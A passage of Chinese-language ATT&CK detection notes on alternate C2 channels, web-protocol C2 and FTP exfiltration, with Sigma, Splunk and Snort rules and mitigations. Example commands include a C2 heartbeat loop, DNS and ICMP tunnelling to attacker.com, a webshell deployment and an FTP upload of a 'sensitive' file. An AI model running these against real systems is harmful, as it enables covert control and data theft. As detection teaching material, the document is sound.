    "content": "# T1008-备用通信通道\n\n## 描述\n\n攻击者使用备用或备用通信通道（T1008），在主要命令与控制（C2）通道受损、被检测或不可用时，维持对目标系统的控制和数据渗出能力。备用通道旨在确保C2通信的可靠性，规避防御机制（如防火墙、IDS/IPS）或数据传输限制（如带宽阈值）。这些通道可能使用不同协议（如HTTP、DNS、ICMP）、端口、加密方式，或通过合法服务（如云平台、社交媒体）伪装流量。\n\n备用通道与持久化技术类似，旨在通过多种通信方法保持控制，防止权限丢失。攻击者可能预配置多个通道，动态切换以应对网络限制或检测。检测重点在于识别异常网络流量、非常规协议使用及可疑进程的网络活动。\n\n## 测试案例\n\n1. **HTTP备用通道**  \n   攻击者使用HTTP POST请求向备用域名发送心跳包，模拟C2通信。  \n2. **DNS隧道**  \n   通过DNS查询将数据编码后发送到攻击者控制的域名。  \n3. **ICMP通道**  \n   使用ICMP（Ping）数据包封装C2指令或渗出数据。  \n4. **云服务通道**  \n   通过合法云服务（如Google Drive、Dropbox）上传/下载C2指令或数据。  \n\n### 示例命令\n- **HTTP备用通道**（PowerShell）：\n  ```powershell\n  $url = \"https://backup-c2.example.com/heartbeat\"\n  while ($true) {\n      try { Invoke-WebRequest -Uri $url -Method Post -Body \"status=active\" } catch {}\n      Start-Sleep -Seconds 60\n  }\n  ```\n- **DNS隧道**（nslookup模拟）：\n  ```cmd\n  nslookup -type=TXT exfil.abcdef123.attacker.com\n  ```\n- **ICMP通道**（需专用工具如`pingtunnel`）：\n  ```cmd\n  pingtunnel -type client -l 127.0.0.1:8080 -s attacker.com\n  ```\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录可疑进程（如`powershell.exe`、`nslookup.exe`）的创建。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，包含命令行参数（如`Invoke-WebRequest`或`nslookup`）。  \n- **事件ID 3**：记录网络连接，捕获非常规协议（如DNS、ICMP）或异常目标IP/域名。  \n- **事件ID 7**：记录加载的模块，检测C2相关DLL或脚本。  \n\n**网络日志**  \n- 捕获异常流量（如高频DNS查询、ICMP数据包异常大小、HTTP POST到未知域名）。  \n\n**PowerShell日志**  \n- **事件ID 4104**：记录PowerShell脚本执行，捕获HTTP请求或网络操作。  \n\n**配置日志记录**  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 启用PowerShell日志：`计算机配置 > 管理模板 > Windows组件 > Windows PowerShell > 启用模块日志和脚本块日志记录`。  \n- 配置Sysmon监控网络连接和非常规协议。  \n- 使用IDS/IPS（如Snort、Suricata）记录DNS、ICMP、HTTP流量。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10/11或Windows Server 2022。  \n- **权限**：用户权限（某些通道如ICMP可能需管理员）。  \n- **工具**：PowerShell、`nslookup.exe`（系统自带）、Sysmon、Wireshark、测试C2服务器。  \n- **网络**：配置可控网络环境，模拟攻击者域名（如`backup-c2.example.com`）。  \n- **日志**：启用Windows安全日志、PowerShell日志、Sysmon日志，配置网络监控。  \n\n### 攻击步骤\n1. **HTTP备用通道测试**  \n   - 执行PowerShell脚本模拟C2心跳：\n     ```powershell\n     $url = \"http://127.0.0.1:8080/heartbeat\"\n     try { Invoke-WebRequest -Uri $url -Method Post -Body \"status=active\" } catch {}\n     ```\n\n2. **DNS隧道测试**  \n   - 使用`nslookup`模拟数据渗出：\n     ```cmd\n     nslookup -type=TXT test123.localhost\n     ```\n\n3. **验证结果**  \n   - 检查Sysmon日志（网络连接）：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 3 -and $_.Message -match \"powershell.exe|nslookup.exe\" }\n     ```\n   - 检查PowerShell日志：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-PowerShell/Operational\" | Where-Object { $_.Id -eq 4104 -and $_.Message -match \"Invoke-WebRequest\" }\n     ```\n   - 检查网络流量（Wireshark过滤`http`或`dns`）。  \n\n4. **清理**  \n   - 终止测试脚本：\n     ```powershell\n     Stop-Process -Name powershell -Force\n     ```\n   - 删除临时文件（若有）：\n     ```cmd\n     del C:\\Temp\\test.txt\n     ```\n\n### 示例输出\n```powershell\nInvoke-WebRequest -Uri http://127.0.0.1:8080/heartbeat -Method Post -Body \"status=active\"\nStatusCode        : 200\nStatusDescription : OK\n```\n\n```cmd\nnslookup -type=TXT test123.localhost\nServer:  localhost\nAddress:  127.0.0.1\n\nNon-authoritative answer:\ntest123.localhost  text = \"exfil-data-123\"\n```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 日志留痕\n\n- **Sysmon日志（事件ID 1，进程创建）**：\n  ```plaintext\n  EventID: 1\n  UtcTime: 2025-06-10 03:00:00.123\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  ProcessId: 4567\n  Image: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\n  CommandLine: powershell.exe -Command \"Invoke-WebRequest -Uri http://127.0.0.1:8080/heartbeat -Method Post -Body 'status=active'\"\n  ParentImage: C:\\Windows\\System32\\cmd.exe\n  User: CONTOSO\\User\n  IntegrityLevel: Medium\n  ```\n\n- **Sysmon日志（事件ID 3，网络连接）**：\n  ```plaintext\n  EventID: 3\n  UtcTime: 2025-06-10 03:00:00.234\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  Image: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\n  DestinationIp: 127.0.0.1\n  DestinationPort: 8080\n  Protocol: tcp\n  User: CONTOSO\\User\n  ```\n\n- **Sysmon日志（事件ID 3，DNS查询）**：\n  ```plaintext\n  EventID: 3\n  UtcTime: 2025-06-10 03:00:00.345\n  ProcessGuid: {abcdef12-3456-7890-abcd-ef1234567890}\n  Image: C:\\Windows\\System32\\nslookup.exe\n  DestinationIp: 127.0.0.1\n  DestinationPort: 53\n  Protocol: udp\n  User: CONTOSO\\User\n  ```\n\n- **PowerShell日志（事件ID 4104，脚本执行）**：\n  ```plaintext\n  EventID: 4104\n  Source: Microsoft-Windows-PowerShell\n  Message: Creating Scriptblock text (1 of 1):\n  Invoke-WebRequest -Uri http://127.0.0.1:8080/heartbeat -Method Post -Body \"status=active\"\n  ScriptBlock ID: {12345678-abcd-1234-abcd-1234567890ab}\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过监控异常网络流量、非常规协议及可疑进程行为，检测备用通信通道。以下是具体思路：\n\n1. **日志分析**：\n   - 监控Sysmon事件ID 3，检测非常规协议（如ICMP、DNS）或异常目标（如高频DNS查询、未知域名）。  \n   - 监控Sysmon事件ID 1，检测`powershell.exe`、`nslookup.exe`或`ping.exe`的异常命令行参数。  \n   - 监控PowerShell日志事件ID 4104，检测网络请求（如`Invoke-WebRequest`）。  \n   - 监控Windows安全日志事件ID 4688，检测可疑进程创建。  \n   - 分析网络流量，检查数据流不对称（如客户端发送数据远多于接收）。  \n\n2. **Sigma规则（PowerShell HTTP备用通道）**：\n   ```yaml\n   title: PowerShell HTTP备用通道检测\n   id: t78901234-abcd-5678-9012-34567890vwxy\n   status: experimental\n   description: 检测PowerShell通过HTTP POST执行的C2备用通道通信\n   references:\n     - https://attack.mitre.org/techniques/T1008/\n   tags:\n     - attack.command_and_control\n     - attack.t1008\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 1\n       Image|endswith: '\\powershell.exe'\n       CommandLine|contains:\n         - 'Invoke-WebRequest'\n         - '-Method Post'\n     condition: selection\n   fields:\n     - Image\n     - CommandLine\n     - ParentImage\n     - User\n   falsepositives:\n     - 合法自动化脚本\n     - 管理员网络测试\n   level: high\n   ```\n\n3. **Sigma规则（DNS异常查询）**：\n   ```yaml\n   title: 异常DNS查询检测\n   id: u89012345-abcd-6789-0123-45678901yzab\n   status: experimental\n   description: 检测疑似DNS隧道的异常高频或编码查询\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 3\n       Image|endswith: '\\nslookup.exe'\n       Protocol: udp\n       DestinationPort: 53\n     condition: selection\n   fields:\n     - Image\n     - DestinationIp\n     - DestinationPort\n     - User\n   falsepositives:\n     - 正常DNS解析\n     - 网络诊断工具\n   level: medium\n   ```\n\n4. **SIEM规则**：\n   - 检测备用通道行为。\n   - 示例Splunk查询：\n     ```spl\n     (source=\"WinEventLog:Microsoft-WinEvent-Sysmon/Operational\" (EventID=1 Image IN (\"*powershell.exe\",\"*nslookup.exe\") CommandLine IN (\"*Invoke-WebRequest*\",\"*-type=TXT*\")) OR (EventID=3 Protocol IN (\"tcp\",\"udp\") DestinationPort IN (53,80,443,8080))) | stats count by Image, CommandLine, DestinationIp, DestinationPort, User, ComputerName\n     ```\n\n5. **网络流量分析**：\n   - 检查DNS查询频率或异常TXT记录：\n     ```bash\n     tshark -f \"udp port 53\" -Y \"dns.qry.type == TXT\"\n     ```\n   - 检查ICMP数据包大小：\n     ```bash\n     tshark -f \"icmp\" -Y \"length > 64\"\n     ```\n   - 使用IDS规则检测异常HTTP流量：\n     ```snort\n     alert tcp $HOME_NET any -> $EXTERNAL_NET 80,443 (msg:\"Suspicious HTTP POST\"; content:\"POST\"; http_method; sid:1000003;)\n     ```\n\n6. **工具支持**：\n   - 使用Wireshark分析DNS、ICMP、HTTP流量。  \n   - 使用Sysinternals Process Monitor捕获进程网络活动。  \n   - 使用Zeek生成网络流量日志，分析协议行为。  \n\n7. **威胁情报整合**：\n   - 检查目标IP/域名是否与已知C2服务器匹配，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n防御备用通信通道需从网络分段、流量监控和进程限制入手：\n\n1. **限制出站协议**  \n   - 配置防火墙阻止非必要协议（如ICMP、DNS到非信任服务器）：\n     ```powershell\n     New-NetFirewallRule -DisplayName \"Block ICMP Outbound\" -Direction Outbound -Action Block -Protocol ICMP\n     ```\n\n2. **限制工具执行**  \n   - 使用AppLocker限制`powershell.exe`和`nslookup.exe`：\n     ```powershell\n     New-AppLockerPolicy -RuleType Path -Path \"%SystemRoot%\\System32\\nslookup.exe\" -Action Deny -User \"Everyone\"\n     ```\n\n3. **监控网络流量**  \n   - 部署IDS/IPS（如Snort、Suricata）检测DNS隧道或异常HTTP流量。  \n   - 配置Sysmon监控非常规协议：\n     ```xml\n     <RuleGroup name=\"NetworkConnect\" groupRelation=\"and\">\n       <NetworkConnect onmatch=\"include\">\n         <Protocol>udp</Protocol>\n         <DestinationPort>53</DestinationPort>\n       </NetworkConnect>\n     </RuleGroup>\n     ```\n\n4. **加强日志监控**  \n   - 启用Sysmon事件ID 1、3和PowerShell事件ID 4104，检测C2通信。  \n   - 配置SIEM实时告警异常DNS查询或HTTP POST请求。  \n   - 使用EDR工具检测可疑网络行为。  \n\n5. **定期审计**  \n   - 检查网络连接：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 3 }\n     ```\n   - 检查DNS查询：\n     ```powershell\n     Get-DnsServerQueryStatistics\n     ```\n\n6. **补丁管理**  \n   - 确保系统安装最新补丁，修复可能被利用的协议漏洞。  \n\n## 参考推荐\n\n- MITRE ATT&CK: T1008  \n  <https://attack.mitre.org/techniques/T1008/>"
  },
  {
    "path": "Windows/12命令与控制/T1071.001-应用层协议-网络协议.md",
    "content": "# T1071.001-应用层协议-网络协议\n\n## 描述\n\n攻击者利用与Web流量相关的应用层协议（如HTTP、HTTPS）进行命令与控制（C2）通信，通过与合法流量混合以逃避检测或网络过滤（T1071.001）。HTTP/HTTPS协议因其普遍性和灵活性（如多样的头字段、请求体）常被滥用，攻击者可将C2指令或数据嵌入协议流量，伪装成正常Web请求。常见场景包括使用Webshell（如哥斯拉、冰蝎）通过HTTP POST请求与攻击者控制的服务器通信，执行远程指令或渗出数据。\n\n由于HTTP/HTTPS流量在企业网络中普遍存在，且通常被防火墙允许，攻击者可利用其高隐蔽性规避传统检测。检测重点在于分析异常网络流量模式、Webshell相关进程行为及协议内容偏差。\n\n## 测试案例\n\n1. **Webshell通信模拟**  \n   使用哥斯拉或冰蝎Webshell管理工具，通过HTTP/HTTPS与C2服务器通信，执行命令或上传文件。  \n2. **HTTP POST数据渗出**  \n   使用PowerShell或curl通过HTTP POST请求向外部服务器发送数据，模拟C2通信。  \n3. **异常头字段利用**  \n   在HTTP请求的自定义头（如User-Agent）中嵌入编码指令。  \n\n### 示例命令\n- **Webshell部署**（需Web服务器环境，如IIS/Apache）：\n  - 部署冰蝎Webshell（`shell.jsp`）到Web目录：\n    ```bash\n    copy shell.jsp C:\\inetpub\\wwwroot\\\n    ```\n  - 使用冰蝎客户端连接：`http://<target>/shell.jsp`。\n- **HTTP POST模拟**（PowerShell）：\n  ```powershell\n  $url = \"http://c2.example.com/command\"\n  $data = @{cmd=\"whoami\"}\n  Invoke-WebRequest -Uri $url -Method Post -Body $data\n  ```\n- **清理**：\n  ```powershell\n  Remove-Item C:\\inetpub\\wwwroot\\shell.jsp -ErrorAction Ignore\n  ```\n\n## 检测日志\n\n**Netflow日志**  \n- 记录HTTP/HTTPS流量，捕获源/目标IP、端口、数据量及会话时长。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录进程创建，如`powershell.exe`、`w3wp.exe`（IIS进程）或Webshell相关进程。  \n- **事件ID 3**：记录网络连接，捕获HTTP/HTTPS请求的目标IP/域名。  \n- **事件ID 11**：记录Webshell文件创建或修改。  \n\n**Windows安全日志**  \n- **事件ID 4688**：记录可疑进程创建（如`cmd.exe`由`w3wp.exe`触发）。  \n\n**PowerShell日志**  \n- **事件ID 4104**：记录PowerShell脚本执行，如`Invoke-WebRequest`。  \n\n**Web服务器日志**  \n- IIS/Apache日志记录HTTP请求，捕获异常URL、User-Agent或POST数据。  \n\n**配置日志记录**  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 启用PowerShell日志：`计算机配置 > 管理模板 > Windows组件 > Windows PowerShell > 启用模块日志和脚本块日志记录`。  \n- 配置Sysmon监控Web服务器进程（如`w3wp.exe`）及其子进程。  \n- 启用IIS日志：`%SystemDrive%\\inetpub\\logs\\LogFiles`。  \n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10/11或Windows Server 2022（运行IIS）。  \n- **权限**：用户权限（部署Webshell需Web目录写权限，管理员权限可简化配置）。  \n- **工具**：PowerShell、`curl.exe`（系统自带）、Sysmon、Wireshark、冰蝎Webshell、测试C2服务器。  \n- **Web服务器**：配置IIS（`Install-WindowsFeature -Name Web-Server`）。  \n- **日志**：启用Sysmon、PowerShell日志、IIS日志，配置网络监控。  \n\n### 攻击步骤\n1. **部署Webshell**  \n   - 将冰蝎Webshell（`shell.jsp`）复制到IIS目录：\n     ```cmd\n     copy shell.jsp C:\\inetpub\\wwwroot\\\n     ```\n   - 使用冰蝎客户端连接：`http://<target>/shell.jsp`。\n\n2. **模拟C2通信**  \n   - 执行PowerShell HTTP POST请求：\n     ```powershell\n     $url = \"http://127.0.0.1:8080/command\"\n     $data = @{cmd=\"whoami\"}\n     Invoke-WebRequest -Uri $url -Method Post -Body $data\n     ```\n\n3. **验证结果**  \n   - 检查IIS日志：\n     ```powershell\n     Get-Content C:\\inetpub\\logs\\LogFiles\\W3SVC1\\u_ex*.log | Select-String \"shell.jsp\"\n     ```\n   - 检查Sysmon日志（网络连接）：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 3 -and $_.Message -match \"powershell.exe|w3wp.exe\" }\n     ```\n   - 检查PowerShell日志：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-PowerShell/Operational\" | Where-Object { $_.Id -eq 4104 -and $_.Message -match \"Invoke-WebRequest\" }\n     ```\n   - 检查Netflow（Wireshark过滤`http`或`https`）。\n\n4. **清理**  \n   - 删除Webshell：\n     ```cmd\n     del C:\\inetpub\\wwwroot\\shell.jsp\n     ```\n   - 终止测试进程：\n     ```powershell\n     Stop-Process -Name powershell -Force\n     ```\n\n### 示例输出\n```powershell\nInvoke-WebRequest -Uri http://127.0.0.1:8080/command -Method Post -Body @{cmd=\"whoami\"}\nStatusCode        : 200\nStatusDescription : OK\nContent           : contoso\\user\n```\n\n```cmd\ntype C:\\inetpub\\logs\\LogFiles\\W3SVC1\\u_ex250610.log\n2025-06-10 03:00:00 127.0.0.1 POST /shell.jsp - 80 - 127.0.0.1 Mozilla/5.0+(Behinder) 200 0 0 123\n```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 日志留痕\n\n- **Sysmon日志（事件ID 1，进程创建）**：\n  ```plaintext\n  EventID: 1\n  UtcTime: 2025-06-10 03:00:00.123\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  ProcessId: 5678\n  Image: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\n  CommandLine: powershell.exe -Command \"Invoke-WebRequest -Uri http://127.0.0.1:8080/command -Method Post -Body @{cmd='whoami'}\"\n  ParentImage: C:\\Windows\\System32\\cmd.exe\n  User: CONTOSO\\User\n  IntegrityLevel: Medium\n  ```\n\n- **Sysmon日志（事件ID 3，网络连接）**：\n  ```plaintext\n  EventID: 3\n  UtcTime: 2025-06-10 03:00:00.234\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  Image: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\n  DestinationIp: 127.0.0.1\n  DestinationPort: 8080\n  Protocol: tcp\n  User: CONTOSO\\User\n  ```\n\n- **Sysmon日志（事件ID 1，Webshell子进程）**：\n  ```plaintext\n  EventID: 1\n  UtcTime: 2025-06-10 03:00:00.345\n  ProcessGuid: {abcdef12-3456-7890-abcd-ef1234567890}\n  ProcessId: 6789\n  Image: C:\\Windows\\System32\\cmd.exe\n  CommandLine: cmd.exe /c whoami\n  ParentImage: C:\\Windows\\System32\\inetsrv\\w3wp.exe\n  User: NT AUTHORITY\\NETWORK SERVICE\n  IntegrityLevel: High\n  ```\n\n- **PowerShell日志（事件ID 4104，脚本执行）**：\n  ```plaintext\n  EventID: 4104\n  Source: Microsoft-Windows-PowerShell\n  Message: Creating Scriptblock text (1 of 1):\n  Invoke-WebRequest -Uri http://127.0.0.1:8080/command -Method Post -Body @{cmd=\"whoami\"}\n  ScriptBlock ID: {12345678-abcd-1234-abcd-1234567890ab}\n  ```\n\n- **IIS日志（Webshell请求）**：\n  ```plaintext\n  2025-06-10 03:00:00 127.0.0.1 POST /shell.jsp - 80 - 127.0.0.1 Mozilla/5.0+(Behinder) 200 0 0 123\n  ```\n\n## 检测规则/思路\n\n**检测规则**  \n通过监控异常网络流量、Webshell行为及协议偏差，检测Web协议C2通信。以下是具体思路：\n\n1. **日志分析**：\n   - 监控Sysmon事件ID 3，检测`powershell.exe`或`w3wp.exe`的异常HTTP/HTTPS连接。  \n   - 监控Sysmon事件ID 1，检测Webshell触发的子进程（如`cmd.exe`由`w3wp.exe`启动）。  \n   - 监控PowerShell日志事件ID 4104，检测`Invoke-WebRequest`或`Invoke-RestMethod`。  \n   - 监控Windows安全日志事件ID 4688，检测可疑进程创建。  \n   - 分析Netflow，检查客户端发送数据量远大于接收（如POST请求频繁）。  \n   - 检查IIS日志，识别异常URL、User-Agent或高频POST请求。  \n\n2. **Sigma规则（Webshell子进程）**：\n   ```yaml\n   title: Webshell可疑子进程检测\n   id: v90123456-abcd-7890-1234-56789012cdef\n   status: stable\n   description: 检测Web服务器进程（如w3wp.exe）触发的可疑子进程\n   references:\n     - https://attack.mitre.org/techniques/T1071/001/\n   tags:\n     - attack.command_and_control\n     - attack.t1071.001\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 1\n       ParentImage|endswith: '\\w3wp.exe'\n       Image|endswith:\n         - '\\cmd.exe'\n         - '\\powershell.exe'\n         - '\\whoami.exe'\n     condition: selection\n   fields:\n     - Image\n     - CommandLine\n     - ParentImage\n     - User\n   falsepositives:\n     - 合法Web应用调用\n     - 管理员调试\n   level: high\n   ```\n\n3. **Sigma规则（PowerShell HTTP C2）**：\n   ```yaml\n   title: PowerShell HTTP C2通信检测\n   id: w01234567-abcd-8901-2345-67890123efgh\n   status: experimental\n   description: 检测PowerShell通过HTTP/HTTPS执行C2通信\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 1\n       Image|endswith: '\\powershell.exe'\n       CommandLine|contains:\n         - 'Invoke-WebRequest'\n         - 'Invoke-RestMethod'\n         - '-Method Post'\n     condition: selection\n   fields:\n     - Image\n     - CommandLine\n     - ParentImage\n     - User\n   falsepositives:\n     - 合法自动化脚本\n     - 管理员网络测试\n   level: high\n   ```\n\n4. **SIEM规则**：\n   - 检测Webshell和HTTP C2行为。\n   - 示例Splunk查询：\n     ```spl\n     (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" (EventID=1 ParentImage=\"*w3wp.exe\" Image IN (\"*cmd.exe\",\"*powershell.exe\")) OR (EventID=3 Image=\"*powershell.exe\" CommandLine IN (\"*Invoke-WebRequest*\",\"*-Method Post*\"))) | stats count by Image, CommandLine, ParentImage, DestinationIp, User, ComputerName\n     ```\n\n5. **网络流量分析**：\n   - 检查HTTP POST请求频率或数据量：\n     ```bash\n     tshark -f \"tcp port 80 or 443\" -Y \"http.request.method == POST\"\n     ```\n   - 检查异常User-Agent：\n     ```bash\n     tshark -f \"tcp port 80 or 443\" -Y \"http.user_agent contains Behinder\"\n     ```\n   - 使用IDS规则检测异常HTTP流量：\n     ```snort\n     alert tcp $HOME_NET any -> $EXTERNAL_NET 80,443 (msg:\"Suspicious HTTP POST\"; content:\"POST\"; http_method; sid:1000004;)\n     ```\n\n6. **工具支持**：\n   - 使用Wireshark分析HTTP/HTTPS流量，检查请求头和数据。  \n   - 使用Sysinternals Process Monitor捕获Web服务器进程活动。  \n   - 使用Zeek生成HTTP日志，分析URL和User-Agent模式。  \n\n7. **威胁情报整合**：\n   - 检查目标IP/域名是否与已知C2服务器匹配，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n防御Web协议C2通信需从网络分段、进程监控和协议分析入手：\n\n1. **限制出站HTTP/HTTPS**  \n   - 配置防火墙限制非必要域名：\n     ```powershell\n     New-NetFirewallRule -DisplayName \"Block Unknown HTTP\" -Direction Outbound -Action Block -Protocol TCP -RemotePort 80,443\n     ```\n\n2. **限制Web服务器进程**  \n   - 使用AppLocker限制`w3wp.exe`子进程：\n     ```powershell\n     New-AppLockerPolicy -RuleType Path -Path \"%SystemRoot%\\System32\\cmd.exe\" -Action Deny -User \"NETWORK SERVICE\"\n     ```\n\n3. **监控Webshell文件**  \n   - 使用文件完整性监控（FIM）检测Web目录文件变更：\n     ```powershell\n     Get-FileHash C:\\inetpub\\wwwroot\\*.jsp | Export-Csv baseline.csv\n     ```\n   - 配置Sysmon监控Web目录：\n     ```xml\n     <RuleGroup name=\"FileCreate\" groupRelation=\"and\">\n       <FileCreate onmatch=\"include\">\n         <TargetFilename condition=\"contains\">\\inetpub\\wwwroot\\</TargetFilename>\n       </FileCreate>\n     </RuleGroup>\n     ```\n\n4. **加强日志监控**  \n   - 启用Sysmon事件ID 1、3、11和PowerShell事件ID 4104，检测C2通信。  \n   - 配置SIEM实时告警Webshell子进程或异常HTTP请求。  \n   - 使用EDR工具检测Web服务器异常行为。  \n\n5. **定期审计**  \n   - 检查Web服务器日志：\n     ```powershell\n     Get-Content C:\\inetpub\\logs\\LogFiles\\W3SVC1\\u_ex*.log | Select-String \"POST\"\n     ```\n   - 检查网络连接：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 3 }\n     ```\n\n6. **补丁管理**  \n   - 确保Web服务器和系统安装最新补丁，修复Webshell相关漏洞。  \n\n## 参考推荐\n\n- MITRE ATT&CK: T1071.001  \n  <https://attack.mitre.org/techniques/T1071/001/>  \n- Atomic Red Team: Webshell Tests  \n  <https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1505.003>"
  },
  {
    "path": "Windows/12命令与控制/T1071.002-win-内网FTP链接到公网行为.md",
    "content": "# T1071.002-Win-内网FTP链接到公网行为\n\n## 描述\n\n攻击者利用文件传输协议（如FTP、FTPS、TFTP）作为应用层协议进行命令与控制（C2）通信或数据渗出（T1071.002）。FTP等协议因其在企业环境中用于合法文件传输而常见，攻击者可通过嵌入C2指令或数据于协议流量或传输文件中，伪装成正常流量以规避检测。由于FTP是明文协议，传输的用户名、密码及数据易被拦截，增加安全风险。攻击者可能利用FTP从受害网络窃取数据、下载恶意工具，或与受控系统通信。\n\n检测重点在于识别内网主机通过FTP（端口20/21）连接公网的异常行为，分析流量模式（如大流量上传）、明文凭据及可疑进程的网络活动。\n\n## 测试案例\n\n1. **FTP数据渗出**  \n   使用FTP客户端（如`ftp.exe`）从内网上传敏感文件到公网FTP服务器。  \n2. **FTP C2通信**  \n   通过FTP上传/下载包含C2指令的伪装文件（如`.txt`）。  \n3. **明文凭据捕获**  \n   使用明文FTP登录公网服务器，模拟凭据暴露。  \n\n### 示例命令\n- **FTP文件上传**（需用户权限）：\n  ```cmd\n  echo open ftp.example.com> ftp.txt\n  echo user ftpuser password>> ftp.txt\n  echo put C:\\Temp\\sensitive.txt>> ftp.txt\n  echo quit>> ftp.txt\n  ftp -s:ftp.txt\n  ```\n- **清理**：\n  ```cmd\n  del ftp.txt\n  del C:\\Temp\\sensitive.txt\n  ```\n\n## 检测日志\n\n**Netflow日志**  \n- 记录TCP流量，捕获源/目标IP、端口（20/21）、数据量及会话时长。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录FTP客户端进程（如`ftp.exe`）创建及命令行参数。  \n- **事件ID 3**：记录网络连接，捕获FTP流量（端口20/21）的目标IP/域名。  \n- **事件ID 11**：记录临时文件创建（如FTP脚本文件）。  \n\n**Windows安全日志**  \n- **事件ID 4688**：记录`ftp.exe`或其他FTP客户端进程创建。  \n\n**PowerShell日志**  \n- **事件ID 4104**：记录PowerShell脚本执行（如使用`Invoke-Ftp`）。  \n\n**网络日志**  \n- 捕获FTP明文流量，检查用户名、密码及传输文件内容。  \n\n**配置日志记录**  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 启用PowerShell日志：`计算机配置 > 管理模板 > Windows组件 > Windows PowerShell > 启用模块日志和脚本块日志记录`。  \n- 配置Sysmon监控`ftp.exe`及网络连接（端口20/21）。  \n- 使用IDS/IPS（如Snort）记录FTP流量。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10/11或Windows Server 2022。  \n- **权限**：用户权限（FTP操作无需管理员）。  \n- **工具**：`ftp.exe`（系统自带）、Sysmon、Wireshark、公网FTP服务器（如`ftp.example.com`）。  \n- **文件**：创建测试文件（如`C:\\Temp\\sensitive.txt`）。  \n- **日志**：启用Sysmon、Windows安全日志、PowerShell日志，配置网络监控。  \n\n### 攻击步骤\n1. **创建测试文件**  \n   ```cmd\n   echo Test data > C:\\Temp\\sensitive.txt\n   ```\n\n2. **执行FTP上传**  \n   - 创建FTP脚本并执行：\n     ```cmd\n     echo open ftp.example.com> ftp.txt\n     echo user ftpuser password>> ftp.txt\n     echo put C:\\Temp\\sensitive.txt>> ftp.txt\n     echo quit>> ftp.txt\n     ftp -s:ftp.txt\n     ```\n\n3. **验证结果**  \n   - 检查Sysmon日志（网络连接）：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 3 -and $_.Message -match \"ftp.exe\" }\n     ```\n   - 检查Windows安全日志：\n     ```powershell\n     Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match \"ftp.exe\" }\n     ```\n   - 检查Netflow（Wireshark过滤`tcp.port == 20 or tcp.port == 21`）。  \n   - 验证FTP服务器是否收到文件。\n\n4. **清理**  \n   - 删除脚本和测试文件：\n     ```cmd\n     del ftp.txt\n     del C:\\Temp\\sensitive.txt\n     ```\n\n### 示例输出\n```cmd\nftp> open ftp.example.com\nConnected to ftp.example.com.\n220 FTP Server ready.\nUser: ftpuser\n331 Password required for ftpuser.\nPassword: password\n230 User ftpuser logged in.\nftp> put C:\\Temp\\sensitive.txt\n200 PORT command successful.\n226 Transfer complete.\nftp> quit\n221 Goodbye.\n```\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 日志留痕\n\n- **Sysmon日志（事件ID 1，进程创建）**：\n  ```plaintext\n  EventID: 1\n  UtcTime: 2025-06-10 03:00:00.123\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  ProcessId: 7890\n  Image: C:\\Windows\\System32\\ftp.exe\n  CommandLine: ftp -s:ftp.txt\n  ParentImage: C:\\Windows\\System32\\cmd.exe\n  User: CONTOSO\\User\n  IntegrityLevel: Medium\n  ```\n\n- **Sysmon日志（事件ID 3，网络连接）**：\n  ```plaintext\n  EventID: 3\n  UtcTime: 2025-06-10 03:00:00.234\n  ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab}\n  Image: C:\\Windows\\System32\\ftp.exe\n  DestinationIp: <ftp.example.com IP>\n  DestinationPort: 21\n  Protocol: tcp\n  User: CONTOSO\\User\n  ```\n\n- **Sysmon日志（事件ID 11，文件创建）**：\n  ```plaintext\n  EventID: 11\n  